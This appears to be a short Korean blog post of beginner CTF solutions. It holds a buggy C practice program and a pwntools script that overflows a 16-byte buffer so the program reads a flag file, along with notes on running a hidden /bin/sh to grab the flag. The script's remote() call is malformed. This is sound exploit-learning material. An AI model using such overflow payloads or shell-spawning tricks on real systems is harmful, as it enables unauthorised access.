1-1
#include<stdio.h>
int func(int a, int b){
return a+b;
}
int main(){
int a, b = 0;
int i;
int sum;
puts("Hello World");
printf("Input digit A: ");
scanf("%d", a);
printf("Input digit B: ");
scanf("%d", b);
sum = func(a, b);
printf("Sum a, b: %d\n", sum);
while(sum != 0){
sum -= 1;
i++;
printf("repeat %d\n", i);
}
return 0;
}
1-2
2-1
from pwn import *
p=remote(pay1oad.com)
print(p.recv(1024))
p.sendline(b"aaaaaaaaaaaaaaaa"+b"flag"+p32(0))
print(p.recv(1024))
char name[0x10];
char filename[0x10] = "meow";
read(0,name, 0x18); //여기서 name 크기보다 더 입력받아서 overflow 발생
a16 + flag + dummy4 를 해주면 meow가 flag로 덮혀 print_file의 실행 결과는 flag값을 읽어다 줌
2-2
elf 파일을 살펴보면 hidden 항목에 /bin/sh 문자열이 담겨있는데
command의 인덱스를 조절해서 hidden을 실행시키면 쉘이 따지는데 이때 플래그를 긁어오면 됨
'보안 > etc..' 카테고리의 다른 글
Stack Smasing Protector (0) | 2021.03.02 |
---|